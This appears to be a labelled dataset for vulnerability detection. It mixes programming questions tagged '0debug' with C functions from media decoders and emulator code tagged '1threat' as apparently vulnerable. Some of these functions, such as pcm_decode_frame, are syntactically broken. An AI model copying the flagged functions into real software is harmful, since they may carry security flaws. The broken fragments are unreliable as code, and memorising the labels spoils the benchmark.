problem
stringlengths
26
131k
labels
class label
2 classes
How to create page in PHP? : <p>Is there a function in PHP for create page in PHP? I would something like that:</p> <pre><code>create page("file.php", "&lt;html&gt;&lt;body&gt;&lt;p&gt;Hello!&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;"); </code></pre> <p>If I run it on <code>site.it</code>, It will create site.it/file.php with <code>&lt;html&gt;&lt;body&gt;&lt;p&gt;Hello!&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</code>.</p> <p>Can I do it?</p>
0debug
‘List’ object not callable for dict string: integer : <p>I’m encountering this issue where I have a dict: map-x-to-y = {} and fill it with values such as map-x-to-y[some-string] = counter. </p> <p>But afterwards, If i try to call sorted I keep on getting ‘list’ object not callable error. </p> <p>I tried with OrderedDict and with sorted and none of this works. Also, I checked the type of map-x-to-y and it is ‘dict’. </p> <p>My goal is to sort map-x-to-y in a descending order by value. </p>
0debug
php: data from mysql changing from no data into zero : i have this table of "score" in my database <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> ! id ! A ! ----------------- ! 01 ! 10 ! ! 02 ! ! ! 03 ! ! ! 04 ! 5 ! <!-- end snippet --> <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> $mySql = "SELECT score.id, score.A FROM score ORDER BY score.id ASC"; $myQry = mysql_query($mySql, $koneksidb) or die ("Query salah : ".mysql_error()); while ($myData = mysql_fetch_array($myQry)) { $id=$myData['id']; $A=$myData['A'];} <!-- end snippet --> when i call with <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> <?php echo $A; ?> <!-- end snippet --> it came out with zero instead of no data, <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> ! id ! A ! ----------------- ! 01 ! 10 ! ! 02 ! 0 ! ! 03 ! 0 ! ! 04 ! 5 ! <!-- end snippet --> what should i change?
0debug
Why does my React Native app build successfully despite TypeScript compiler error? : <p>I've recently started using TypeScript with Expo. I've done all the linter/formatter integrations like <code>typescript-eslint</code> so I can catch most of the errors during coding. To check if the code compiles, I run <code>npx tsc</code> every once in a while and fix accordingly.</p> <p>One thing that I haven't fully grasped yet is why my app builds successfully even when there are numerous compile errors. I expect (and prefer) to see a red screen error for every compile error rather than the app build successfully and me find it out later. For example,</p> <pre><code>function square&lt;T&gt;(x: T): T { console.log(x.length); // error TS2339: Property 'length' does not exist on type 'T'. return x * x; } </code></pre> <p>is a typical TypeScript error that (I believe?) can be easily checked at compile time. I want it to result in a big red screen error and the build to fail.</p> <p>I'm quite new to TypeScript so it's possible that I'm missing something very important. What exactly is causing this leniency and is there a way to enforce stricter checks?</p>
0debug
static int decode_fctl_chunk(AVCodecContext *avctx, PNGDecContext *s, uint32_t length) { uint32_t sequence_number; if (length != 26) return AVERROR_INVALIDDATA; if (!(s->state & PNG_IHDR)) { av_log(avctx, AV_LOG_ERROR, "fctl before IHDR\n"); return AVERROR_INVALIDDATA; } s->last_w = s->cur_w; s->last_h = s->cur_h; s->last_x_offset = s->x_offset; s->last_y_offset = s->y_offset; s->last_dispose_op = s->dispose_op; sequence_number = bytestream2_get_be32(&s->gb); s->cur_w = bytestream2_get_be32(&s->gb); s->cur_h = bytestream2_get_be32(&s->gb); s->x_offset = bytestream2_get_be32(&s->gb); s->y_offset = bytestream2_get_be32(&s->gb); bytestream2_skip(&s->gb, 4); s->dispose_op = bytestream2_get_byte(&s->gb); s->blend_op = bytestream2_get_byte(&s->gb); bytestream2_skip(&s->gb, 4); if (sequence_number == 0 && (s->cur_w != s->width || s->cur_h != s->height || s->x_offset != 0 || s->y_offset != 0) || s->cur_w <= 0 || s->cur_h <= 0 || s->x_offset < 0 || s->y_offset < 0 || s->cur_w > s->width - s->x_offset|| s->cur_h > s->height - s->y_offset) return AVERROR_INVALIDDATA; if (sequence_number == 0 && s->dispose_op == APNG_DISPOSE_OP_PREVIOUS) { s->dispose_op = APNG_DISPOSE_OP_BACKGROUND; } if (s->dispose_op == APNG_BLEND_OP_OVER && !s->has_trns && ( avctx->pix_fmt == AV_PIX_FMT_RGB24 || avctx->pix_fmt == AV_PIX_FMT_RGB48BE || avctx->pix_fmt == AV_PIX_FMT_PAL8 || avctx->pix_fmt == AV_PIX_FMT_GRAY8 || avctx->pix_fmt == AV_PIX_FMT_GRAY16BE || avctx->pix_fmt == AV_PIX_FMT_MONOBLACK )) { s->dispose_op = APNG_BLEND_OP_SOURCE; } return 0; }
1threat
static int ir2_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; Ir2Context * const s = avctx->priv_data; AVFrame *picture = data; AVFrame * const p= (AVFrame*)&s->picture; int start; if(p->data[0]) avctx->release_buffer(avctx, p); p->reference = 1; p->buffer_hints = FF_BUFFER_HINTS_VALID | FF_BUFFER_HINTS_PRESERVE | FF_BUFFER_HINTS_REUSABLE; if (avctx->reget_buffer(avctx, p)) { av_log(s->avctx, AV_LOG_ERROR, "reget_buffer() failed\n"); return -1; } s->decode_delta = buf[18]; #ifndef ALT_BITSTREAM_READER_LE for (i = 0; i < buf_size; i++) buf[i] = av_reverse[buf[i]]; #endif start = 48; init_get_bits(&s->gb, buf + start, buf_size - start); if (s->decode_delta) { ir2_decode_plane(s, avctx->width, avctx->height, s->picture.data[0], s->picture.linesize[0], ir2_luma_table); ir2_decode_plane(s, avctx->width >> 2, avctx->height >> 2, s->picture.data[2], s->picture.linesize[2], ir2_luma_table); ir2_decode_plane(s, avctx->width >> 2, avctx->height >> 2, s->picture.data[1], s->picture.linesize[1], ir2_luma_table); } else { ir2_decode_plane_inter(s, avctx->width, avctx->height, s->picture.data[0], s->picture.linesize[0], ir2_luma_table); ir2_decode_plane_inter(s, avctx->width >> 2, avctx->height >> 2, s->picture.data[2], s->picture.linesize[2], ir2_luma_table); ir2_decode_plane_inter(s, avctx->width >> 2, avctx->height >> 2, s->picture.data[1], s->picture.linesize[1], ir2_luma_table); } *picture= *(AVFrame*)&s->picture; *data_size = sizeof(AVPicture); return buf_size; }
1threat
why main function isn't returning any value? : /*I am trying to return the 1st bit of boolean value of 10 using right shift in the cb function.*/ ```#include <stdio.h> #include<stdbool.h> bool cb(int N,int i){ //`called function` return ((N>>i)&1)==1; } int main(void) { //`main function` cb(10,1); //`function calling` return 0; } ``` //Status:successfully Executed,but no output.
0debug
get current date with 'yyyy-MM-dd' format in Angular 4 : <p>How i can get the current date with a specific format 'yyyy-MM-dd', for today by example i with that the result be: '2018-07-12', with using just the command</p> <pre><code>myDate = new Date(); </code></pre> <p>thanks a lot</p>
0debug
Getting error while run the program in C lannguage : [![enter image description here][1]][1]Getting warning each time while run the program in C. [1]: https://i.stack.imgur.com/9qxDR.png
0debug
PHP 7.1 Nullable Default Function Parameter : <p>In PHP 7.1 when the following function is called:</p> <pre><code>private function dostuff(?int $limit = 999) { } </code></pre> <p>with syntax like so:</p> <pre><code>dostuff(null); </code></pre> <p>the value of $limit becomes null. So I guess it can be said that the value of <code>$limit</code> was explicitly set to <code>null</code>. Is there any way to overcome this? I.e. when a null value (i.e. the lack of a value) is encountered use the default, whether it is implicit or explicit?</p> <p>Thanks</p>
0debug
How to extract perticlar line from text file using python : I am new in python programming. I have a text file having following content 9.0 4.000000000001712e-05 8.996 0.009553763042602704 8.976 0.005684452508893222 8.96 -0.00353920143256147 8.956 -0.0044586273593916585 8.936 -0.012284767416576208 8.916 -0.019094598621809324 8.9 -0.020204776832571356 I have to extract each line starting with single point decimal number and write these numbers in a new file. like: 9.0 4.000000000001712e-05 8.9 -0.020204776832571356
0debug
static void ivshmem_plain_init(Object *obj) { IVShmemState *s = IVSHMEM_PLAIN(obj); object_property_add_link(obj, "memdev", TYPE_MEMORY_BACKEND, (Object **)&s->hostmem, ivshmem_check_memdev_is_busy, OBJ_PROP_LINK_UNREF_ON_RELEASE, &error_abort); s->not_legacy_32bit = 1; }
1threat
static inline void ne2000_mem_writel(NE2000State *s, uint32_t addr, uint32_t val) { addr &= ~1; if (addr < 32 || (addr >= NE2000_PMEM_START && addr < NE2000_MEM_SIZE)) { stl_le_p(s->mem + addr, val); } }
1threat
static void inline xan_wc3_build_palette(XanContext *s, unsigned int *palette_data) { int i; unsigned char r, g, b; unsigned short *palette16; unsigned int *palette32; unsigned int pal_elem; switch (s->avctx->pix_fmt) { case PIX_FMT_RGB555: palette16 = (unsigned short *)s->palette; for (i = 0; i < PALETTE_COUNT; i++) { pal_elem = palette_data[i]; r = (pal_elem >> 16) & 0xff; g = (pal_elem >> 8) & 0xff; b = pal_elem & 0xff; palette16[i] = ((r >> 3) << 10) | ((g >> 3) << 5) | ((b >> 3) << 0); } break; case PIX_FMT_RGB565: palette16 = (unsigned short *)s->palette; for (i = 0; i < PALETTE_COUNT; i++) { pal_elem = palette_data[i]; r = (pal_elem >> 16) & 0xff; g = (pal_elem >> 8) & 0xff; b = pal_elem & 0xff; palette16[i] = ((r >> 3) << 11) | ((g >> 2) << 5) | ((b >> 3) << 0); } break; case PIX_FMT_RGB24: for (i = 0; i < PALETTE_COUNT; i++) { pal_elem = palette_data[i]; r = (pal_elem >> 16) & 0xff; g = (pal_elem >> 8) & 0xff; b = pal_elem & 0xff; s->palette[i * 4 + 0] = r; s->palette[i * 4 + 1] = g; s->palette[i * 4 + 2] = b; } break; case PIX_FMT_BGR24: for (i = 0; i < PALETTE_COUNT; i++) { pal_elem = palette_data[i]; r = (pal_elem >> 16) & 0xff; g = (pal_elem >> 8) & 0xff; b = pal_elem & 0xff; s->palette[i * 4 + 0] = b; s->palette[i * 4 + 1] = g; s->palette[i * 4 + 2] = r; } break; case PIX_FMT_PAL8: case PIX_FMT_RGBA32: palette32 = (unsigned int *)s->palette; memcpy (palette32, palette_data, PALETTE_COUNT * sizeof(unsigned int)); break; case PIX_FMT_YUV444P: for (i = 0; i < PALETTE_COUNT; i++) { pal_elem = palette_data[i]; r = (pal_elem >> 16) & 0xff; g = (pal_elem >> 8) & 0xff; b = pal_elem & 0xff; s->palette[i * 4 + 0] = COMPUTE_Y(r, g, b); s->palette[i * 4 + 1] = COMPUTE_U(r, g, b); s->palette[i * 4 + 2] = COMPUTE_V(r, g, b); } break; default: av_log(s->avctx, AV_LOG_ERROR, " Xan WC3: Unhandled colorspace\n"); break; } }
1threat
av_cold void ff_diracdsp_init(DiracDSPContext *c) { c->dirac_hpel_filter = dirac_hpel_filter; c->add_rect_clamped = add_rect_clamped_c; c->put_signed_rect_clamped[0] = put_signed_rect_clamped_8bit_c; c->put_signed_rect_clamped[1] = put_signed_rect_clamped_10bit_c; c->add_dirac_obmc[0] = add_obmc8_c; c->add_dirac_obmc[1] = add_obmc16_c; c->add_dirac_obmc[2] = add_obmc32_c; c->weight_dirac_pixels_tab[0] = weight_dirac_pixels8_c; c->weight_dirac_pixels_tab[1] = weight_dirac_pixels16_c; c->weight_dirac_pixels_tab[2] = weight_dirac_pixels32_c; c->biweight_dirac_pixels_tab[0] = biweight_dirac_pixels8_c; c->biweight_dirac_pixels_tab[1] = biweight_dirac_pixels16_c; c->biweight_dirac_pixels_tab[2] = biweight_dirac_pixels32_c; PIXFUNC(put, 8); PIXFUNC(put, 16); PIXFUNC(put, 32); PIXFUNC(avg, 8); PIXFUNC(avg, 16); PIXFUNC(avg, 32); if (HAVE_MMX && HAVE_YASM) ff_diracdsp_init_mmx(c); }
1threat
Running SonarQube against an ASP.Net Core solution/project : <p>SonarQube has an MSBuild runner but .NET Core uses dotnet.exe to compile and msbuild just wraps that. I have tried using the MSBuild runner with no success against my ASP.NET Core solution. Using SonarQube Scanner works kind of.</p> <p>Any suggestions on how I can utilize SonarQube with .NET Core? The static code analysis is what I am looking for.</p>
0debug
How do i show an alertdialog after i click on share : I have an app that uploads images from a gallery . After i click on share and pick my app , it launches my app and the upload begins.But i want to launch the upload without being redirected to my app , but through an alert dialog directly appearing after clicking on share. How can i do this? Thank you for your answers
0debug
combining from two lists into one class Python : <p>Basically, I want something along the lines of:</p> <pre><code>for coin in all_coins["result"] and coin2 in all_coins2["result"]: specifiedlist.append(Crypto(coin, coin2)) </code></pre> <p>Any help pointing me into the direction of a proper function or formatting would be appreciated.</p>
0debug
static void compress_to_network(RDMACompress *comp) { comp->value = htonl(comp->value); comp->block_idx = htonl(comp->block_idx); comp->offset = htonll(comp->offset); comp->length = htonll(comp->length); }
1threat
Me not understanding do while loops : <p>So i tried to make my first console aplication but it came to a bit of a bummer since i dont understand how a do while loop works</p> <pre><code>#include &lt;iostream&gt; int balance = 100; int pay = 30; int awnser; // Variables for the awnsers int withdrawal; int a = 1; int main() { do { std::cout &lt;&lt; "\n Whats the action you wanna do? \n 1 = Check balance \n 2 = Withdraw money \n 3 = Deposit money \n 4 = Check transaction history \n 5 = Exit \n"; std::cout &lt;&lt; " "; std::cin &gt;&gt; awnser; if (awnser == 1) { std::cout &lt;&lt; balance &lt;&lt; " Euros\n \n"; } if (awnser == 2) { std::cout &lt;&lt; "How much do you wanna with draw?\n"; std::cin &gt;&gt; withdrawal; if (withdrawal &gt; balance) std::cout &lt;&lt; "You dont have that much money.\n \n"; else { std::cout &lt;&lt; "Your current balance is: " &lt;&lt; balance - withdrawal; } } if (awnser == 3) { std::cout &lt;&lt; "We know you dont have enymore daam money you beggar so dont even try that\n \n"; } if (awnser == 4) { } if (awnser == 5) { std::cout &lt;&lt; "Enter 0 to exit or 1 to go back\n"; std::cin &gt;&gt; a; } else if (a == 1) { std::cout &lt;&lt; "\n"; return 1; } } while (a == 1); } </code></pre> <p>I thought it would get back to the top since no other "if" requierements were met and just give me the "Whats the action you wanna take again" but it just exits out so what am i doing wrong?</p>
0debug
Check if string contains an @ symbol or if the string is null : <p>Basically, I have a form where people can enter stuff in, and there is one part where they input an email address. Sometimes, people just put in their name and don't put an actual email address. Sometimes they do not fill it out at all.</p> <p>Is there any easy way to check to see if the string has an @ symbol in it and check to see if its Null? </p> <p>Any help is appreciated </p>
0debug
static av_cold void init_mdct_win(TwinContext *tctx) { int i,j; const ModeTab *mtab = tctx->mtab; int size_s = mtab->size / mtab->fmode[FT_SHORT].sub; int size_m = mtab->size / mtab->fmode[FT_MEDIUM].sub; int channels = tctx->avctx->channels; float norm = channels == 1 ? 2. : 1.; for (i = 0; i < 3; i++) { int bsize = tctx->mtab->size/tctx->mtab->fmode[i].sub; ff_mdct_init(&tctx->mdct_ctx[i], av_log2(bsize) + 1, 1, -sqrt(norm/bsize) / (1<<15)); } tctx->tmp_buf = av_malloc(mtab->size * sizeof(*tctx->tmp_buf)); tctx->spectrum = av_malloc(2*mtab->size*channels*sizeof(float)); tctx->curr_frame = av_malloc(2*mtab->size*channels*sizeof(float)); tctx->prev_frame = av_malloc(2*mtab->size*channels*sizeof(float)); for (i = 0; i < 3; i++) { int m = 4*mtab->size/mtab->fmode[i].sub; double freq = 2*M_PI/m; tctx->cos_tabs[i] = av_malloc((m/4)*sizeof(*tctx->cos_tabs)); for (j = 0; j <= m/8; j++) tctx->cos_tabs[i][j] = cos((2*j + 1)*freq); for (j = 1; j < m/8; j++) tctx->cos_tabs[i][m/4-j] = tctx->cos_tabs[i][j]; } ff_init_ff_sine_windows(av_log2(size_m)); ff_init_ff_sine_windows(av_log2(size_s/2)); ff_init_ff_sine_windows(av_log2(mtab->size)); }
1threat
static inline void apply_8x8(MpegEncContext *s, uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr, int dir, uint8_t **ref_picture, qpel_mc_func (*qpix_op)[16], op_pixels_func (*pix_op)[4]) { int dxy, mx, my, src_x, src_y; int i; int mb_x = s->mb_x; int mb_y = s->mb_y; uint8_t *ptr, *dest; mx = 0; my = 0; if (s->quarter_sample) { for (i = 0; i < 4; i++) { int motion_x = s->mv[dir][i][0]; int motion_y = s->mv[dir][i][1]; dxy = ((motion_y & 3) << 2) | (motion_x & 3); src_x = mb_x * 16 + (motion_x >> 2) + (i & 1) * 8; src_y = mb_y * 16 + (motion_y >> 2) + (i >> 1) * 8; src_x = av_clip(src_x, -16, s->width); if (src_x == s->width) dxy &= ~3; src_y = av_clip(src_y, -16, s->height); if (src_y == s->height) dxy &= ~12; ptr = ref_picture[0] + (src_y * s->linesize) + (src_x); if ((unsigned)src_x > FFMAX(s->h_edge_pos - (motion_x & 3) - 8, 0) || (unsigned)src_y > FFMAX(s->v_edge_pos - (motion_y & 3) - 8, 0)) { s->vdsp.emulated_edge_mc(s->edge_emu_buffer, ptr, s->linesize, s->linesize, 9, 9, src_x, src_y, s->h_edge_pos, s->v_edge_pos); ptr = s->edge_emu_buffer; } dest = dest_y + ((i & 1) * 8) + (i >> 1) * 8 * s->linesize; qpix_op[1][dxy](dest, ptr, s->linesize); mx += s->mv[dir][i][0] / 2; my += s->mv[dir][i][1] / 2; } } else { for (i = 0; i < 4; i++) { hpel_motion(s, dest_y + ((i & 1) * 8) + (i >> 1) * 8 * s->linesize, ref_picture[0], mb_x * 16 + (i & 1) * 8, mb_y * 16 + (i >> 1) * 8, pix_op[1], s->mv[dir][i][0], s->mv[dir][i][1]); mx += s->mv[dir][i][0]; my += s->mv[dir][i][1]; } } if (!CONFIG_GRAY || !(s->flags & CODEC_FLAG_GRAY)) chroma_4mv_motion(s, dest_cb, dest_cr, ref_picture, pix_op[1], mx, my); }
1threat
Join two tables with additional field in one table : <p>I would like to join together two tables with additional columns.</p> <p>First table is for number of products despatched by product</p> <pre><code>** Table 1 - Despatches ** Month ProductID No_despatched Jan abc 10 Jan def 15 Jan xyz 12 </code></pre> <p>The second table is for the number of products returned by product, but also an additional column by return reason</p> <pre><code>** Table 2 - Returns ** Month ProductID No_returned Return_reason Jan abc 2 Too big Jan abc 3 Too small Jan xyz 1 Wrong colour </code></pre> <p>I would like to join the tables to show returns and despatched on the same row with the number of despatched being duplicated if there are multiple return reasons for the same product.</p> <pre><code>** Desired output ** Month ProductID No_despatched No_returned Return_reason Jan abc 10 2 Too big Jan abc 10 3 Too small Jan xyz 12 1 Wrong colour </code></pre> <p>Hope this makes sense...</p> <p>Thanks in advance!</p> <p>afk</p>
0debug
static void scsi_write_request(SCSIDiskReq *r) { SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev); uint32_t n; assert(r->req.aiocb == NULL); n = r->iov.iov_len / 512; if (n) { qemu_iovec_init_external(&r->qiov, &r->iov, 1); r->req.aiocb = bdrv_aio_writev(s->bs, r->sector, &r->qiov, n, scsi_write_complete, r); if (r->req.aiocb == NULL) { scsi_write_complete(r, -EIO); } } else { scsi_write_complete(r, 0); } }
1threat
static inline void iwmmxt_store_creg(int reg, TCGv var) { tcg_gen_st_i32(var, cpu_env, offsetof(CPUState, iwmmxt.cregs[reg])); }
1threat
static PayloadContext *vorbis_new_extradata(void) { return av_mallocz(sizeof(PayloadContext)); }
1threat
How to fill the color inside the shape containing different path like curves,lines in c# using winforms : I have drawn the shape using some path segments points, the shape is drawn but color is not filled inside the shape. I have used the FillPath() method, but the color is filled in outline only .I have added the individual points in the graphicspath object like path.AddLine(), the color is filled inside the shape. whenever I have added the whole points using for loop ,the color is not filled in the shape. Regards, Panjanatham T
0debug
How get permission apps that can appear on top : <p><a href="https://i.stack.imgur.com/okeOh.jpg" rel="nofollow noreferrer">How get this permission </a></p> <p>This just in nougat</p>
0debug
trying to check and verify expirydate of credit card : <p>I want to add a jquery piece of code where i had to chck if the expirydate month and year input fields have been defined and if yes, verify if they are greater than today's date </p> <pre><code>if ($("#ccm").length) { errormsg = "Date should more than todsay"; $("#form").closest('.form-group').addClass('has-error'); error = true; } </code></pre>
0debug
Please Help the Button is unclickable what should i do ? or is there any errors of my codes ? : [enter image description here][1] [1]: http://i.stack.imgur.com/yPhoE.jpg I just started using android Eclipse last week for school. the teacher give us a homework. "SIMPLE CALCULATOR" with "TWO JAVA CLASSES " one is the main activity and the other one is for displaying answer. I dont get any errors from my codes but when i run the app the button is unclickable. I've been doing this for 3 hrs still not working. Thanks in advance Here are my codes enter code herepublic class MainActivity extends Activity { public static String SUM_DISPLAY ="com.example.calculatorrm.DISPLAY"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button listener = (Button)findViewById(R.id.add); final Intent intent =new Intent (this,DisplayAnswerActivity.class); listener.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { // TODO Auto-generated method stub EditText e1 = (EditText)findViewById(R.id.fistvalue); EditText e2 = (EditText)findViewById(R.id.secondvalue); // For displaying answer int firstvalue =Integer.parseInt(e1.getText().toString()); int secondvalue = Integer.parseInt(e2.getText().toString()); int sum = firstvalue + secondvalue; String display = Integer.toString(sum); intent.putExtra(SUM_DISPLAY,display); } }); }
0debug
Android : How to prepare your Main activity and load all contents Properly without causing (slow loading) : I'm still new to java and android so i'm asking these kind of questions here to understand how it should works . if i have 2 Activities in my app Welcome_Activity.java and Content_Activity.java usually the First Activity will work smoothly but here the problem comes , when the Content_Activity starts first thing will be called is : onCreate which has so many things to prepare the Page for the user. this always causing slow start on my apps how can i get rid of this ? i need ideas to do that properly
0debug
static int pcm_decode_frame(AVCodecContext *avctx, void *data, int *got_frame_ptr, AVPacket *avpkt) { const uint8_t *src = avpkt->data; int buf_size = avpkt->size; PCMDecode *s = avctx->priv_data; int sample_size, c, n, ret, samples_per_block; uint8_t *samples; int32_t *dst_int32_t; sample_size = av_get_bits_per_sample(avctx->codec_id) / 8; samples_per_block = 1; if (AV_CODEC_ID_PCM_DVD == avctx->codec_id) { if (avctx->bits_per_coded_sample != 20 && avctx->bits_per_coded_sample != 24) { av_log(avctx, AV_LOG_ERROR, "PCM DVD unsupported sample depth %i\n", avctx->bits_per_coded_sample); samples_per_block = 2; sample_size = avctx->bits_per_coded_sample * 2 / 8; } else if (avctx->codec_id == AV_CODEC_ID_PCM_LXF) { samples_per_block = 2; sample_size = 5; if (sample_size == 0) { av_log(avctx, AV_LOG_ERROR, "Invalid sample_size\n"); n = avctx->channels * sample_size; if (n && buf_size % n) { if (buf_size < n) { av_log(avctx, AV_LOG_ERROR, "Invalid PCM packet, data has size %d but at least a size of %d was expected\n", buf_size, n); return AVERROR_INVALIDDATA; } else buf_size -= buf_size % n; n = buf_size / sample_size; s->frame.nb_samples = n * samples_per_block / avctx->channels; if ((ret = avctx->get_buffer(avctx, &s->frame)) < 0) { av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n"); return ret; samples = s->frame.data[0]; switch (avctx->codec->id) { case AV_CODEC_ID_PCM_U32LE: DECODE(32, le32, src, samples, n, 0, 0x80000000) break; case AV_CODEC_ID_PCM_U32BE: DECODE(32, be32, src, samples, n, 0, 0x80000000) break; case AV_CODEC_ID_PCM_S24LE: DECODE(32, le24, src, samples, n, 8, 0) break; case AV_CODEC_ID_PCM_S24BE: DECODE(32, be24, src, samples, n, 8, 0) break; case AV_CODEC_ID_PCM_U24LE: DECODE(32, le24, src, samples, n, 8, 0x800000) break; case AV_CODEC_ID_PCM_U24BE: DECODE(32, be24, src, samples, n, 8, 0x800000) break; case AV_CODEC_ID_PCM_S24DAUD: for (; n > 0; n--) { uint32_t v = bytestream_get_be24(&src); v >>= 4; AV_WN16A(samples, ff_reverse[(v >> 8) & 0xff] + (ff_reverse[v & 0xff] << 8)); samples += 2; break; case AV_CODEC_ID_PCM_S16LE_PLANAR: { int i; n /= avctx->channels; for (c = 0; c < avctx->channels; c++) { samples = s->frame.extended_data[c]; for (i = n; i > 0; i--) { AV_WN16A(samples, bytestream_get_le16(&src)); samples += 2; break; case AV_CODEC_ID_PCM_U16LE: DECODE(16, le16, src, samples, n, 0, 0x8000) break; case AV_CODEC_ID_PCM_U16BE: DECODE(16, be16, src, samples, n, 0, 0x8000) break; case AV_CODEC_ID_PCM_S8: for (; n > 0; n--) *samples++ = *src++ + 128; break; #if HAVE_BIGENDIAN case AV_CODEC_ID_PCM_F64LE: DECODE(64, le64, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_S32LE: case AV_CODEC_ID_PCM_F32LE: DECODE(32, le32, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_S16LE: DECODE(16, le16, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_F64BE: case AV_CODEC_ID_PCM_F32BE: case AV_CODEC_ID_PCM_S32BE: case AV_CODEC_ID_PCM_S16BE: #else case AV_CODEC_ID_PCM_F64BE: DECODE(64, be64, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_F32BE: case AV_CODEC_ID_PCM_S32BE: DECODE(32, be32, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_S16BE: DECODE(16, be16, src, samples, n, 0, 0) break; case AV_CODEC_ID_PCM_F64LE: case AV_CODEC_ID_PCM_F32LE: case AV_CODEC_ID_PCM_S32LE: case AV_CODEC_ID_PCM_S16LE: #endif case AV_CODEC_ID_PCM_U8: memcpy(samples, src, n * sample_size); break; case AV_CODEC_ID_PCM_ZORK: for (; n > 0; n--) { int v = *src++; if (v < 128) v = 128 - v; *samples++ = v; break; case AV_CODEC_ID_PCM_ALAW: case AV_CODEC_ID_PCM_MULAW: for (; n > 0; n--) { AV_WN16A(samples, s->table[*src++]); samples += 2; break; case AV_CODEC_ID_PCM_DVD: { const uint8_t *src8; dst_int32_t = (int32_t *)s->frame.data[0]; n /= avctx->channels; switch (avctx->bits_per_coded_sample) { case 20: while (n--) { c = avctx->channels; src8 = src + 4 * c; while (c--) { *dst_int32_t++ = (bytestream_get_be16(&src) << 16) + ((*src8 & 0xf0) << 8); *dst_int32_t++ = (bytestream_get_be16(&src) << 16) + ((*src8++ & 0x0f) << 12); src = src8; break; case 24: while (n--) { c = avctx->channels; src8 = src + 4 * c; while (c--) { *dst_int32_t++ = (bytestream_get_be16(&src) << 16) + ((*src8++) << 8); *dst_int32_t++ = (bytestream_get_be16(&src) << 16) + ((*src8++) << 8); src = src8; break; break; case AV_CODEC_ID_PCM_LXF: { int i; n /= avctx->channels; for (c = 0; c < avctx->channels; c++) { dst_int32_t = (int32_t *)s->frame.extended_data[c]; for (i = 0; i < n; i++) { *dst_int32_t++ = (src[2] << 28) | (src[1] << 20) | (src[0] << 12) | ((src[2] & 0x0F) << 8) | src[1]; *dst_int32_t++ = (src[4] << 24) | (src[3] << 16) | ((src[2] & 0xF0) << 8) | (src[4] << 4) | (src[3] >> 4); src += 5; break; default: return -1; *got_frame_ptr = 1; *(AVFrame *)data = s->frame; return buf_size;
1threat
SQL: Divide all columns by another column. Also divide all columns by aggregate function(min, max, sum, count, etc.) : I'm guessing this is not possible without defining a function. The idea is that you have a table like table: ---------------- | A | B | Total| |---|---|------| | 1 | 2 | 3 | | 4 | 5 | 9 | | 6 | 7 | 13 | ---------------- select */Total from table select */(select max(*) from table) from table
0debug
Can I call commit from one of mutations in Vuex store : <p>I have a <a href="https://vuex.vuejs.org/en/intro.html" rel="noreferrer">vuex</a> store, like following:</p> <pre><code>import spreeApi from '../../gateways/spree-api' // initial state const state = { products: [], categories: [] } // mutations const mutations = { SET_PRODUCTS: (state, response) =&gt; { state.products = response.data.products commit('SET_CATEGORIES') }, SET_CATEGORIES: (state) =&gt; { state.categories = state.products.map(function(product) { return product.category}) } } const actions = { FETCH_PRODUCTS: (state, filters) =&gt; { return spreeApi.get('products').then(response =&gt; state.commit('SET_PRODUCTS', response)) } } export default { state, mutations, actions } </code></pre> <p>I want to call mutation: <code>SET_CATEGORIES</code> from mutation: <code>SET_PRODUCTS</code>, But this gives me error: </p> <blockquote> <p>projectFilter.js:22 Uncaught (in promise) ReferenceError: commit is not defined(…)</p> </blockquote> <p>What should be correct way to do this. I tried <code>store.commit</code> and <code>this.commit</code>, but these also gave similar errors.</p>
0debug
int tcp_ctl(struct socket *so) { Slirp *slirp = so->slirp; struct sbuf *sb = &so->so_snd; struct ex_list *ex_ptr; int do_pty; DEBUG_CALL("tcp_ctl"); DEBUG_ARG("so = %lx", (long )so); if (so->so_faddr.s_addr != slirp->vhost_addr.s_addr) { for (ex_ptr = slirp->exec_list; ex_ptr; ex_ptr = ex_ptr->ex_next) { if (ex_ptr->ex_fport == so->so_fport && so->so_faddr.s_addr == ex_ptr->ex_addr.s_addr) { if (ex_ptr->ex_pty == 3) { so->s = -1; so->extra = (void *)ex_ptr->ex_exec; return 1; } do_pty = ex_ptr->ex_pty; DEBUG_MISC((dfd, " executing %s \n",ex_ptr->ex_exec)); return fork_exec(so, ex_ptr->ex_exec, do_pty); } } } sb->sb_cc = snprintf(sb->sb_wptr, sb->sb_datalen - (sb->sb_wptr - sb->sb_data), "Error: No application configured.\r\n"); sb->sb_wptr += sb->sb_cc; return 0; }
1threat
The requested URL was not found on this server. About html response perl : I used Sublime Text 3 and xampp to write an html response perl cgi encountered error 404 The first page is index.html URL: `http: // localhost / aa /` Aa folder on xampp inside htdocs <HTML> <HEAD> <Title> CGI with lighttpd and Perl </ Title> </ HEAD> <BODY> <Form METHOD = GET ACTION = echo site_url ("C: \ xampp \ cgi-bin \ cgiDemo.pl")> <BR> Class: <INPUT type = radio name = class value = "3A"> 3A <INPUT type = radio name = class value = "3B"> 3B <P> Input Your ID Here: <input type = "text" name = "studentID"> <BR> Input Your Name Here: <input type = "text" name = "studentName"> <P> <INPUT TYPE = submit VALUE = "Send"> <INPUT TYPE = reset VALUE = "Clear"> </ P> </ Form> </ BODY> </ HTML> The second page is cgiDemo.pl URL: `http: // localhost / aa / echo? Class = 3A & studentID = & studentName =` CgiDemo.pl is placed in xampp cgi-bin folder Always show the requested url #! "C: \ xampp \ perl \ bin \ perl.exe" Print "Content-type: text / html \ n \ n"; Print "<html> <head> <title> HELLO! </ Title> </ head>"; Print "<body> \ n"; Print "<h2> CGI is working !!! </ h2> \ n"; # Print "String = $ ENV 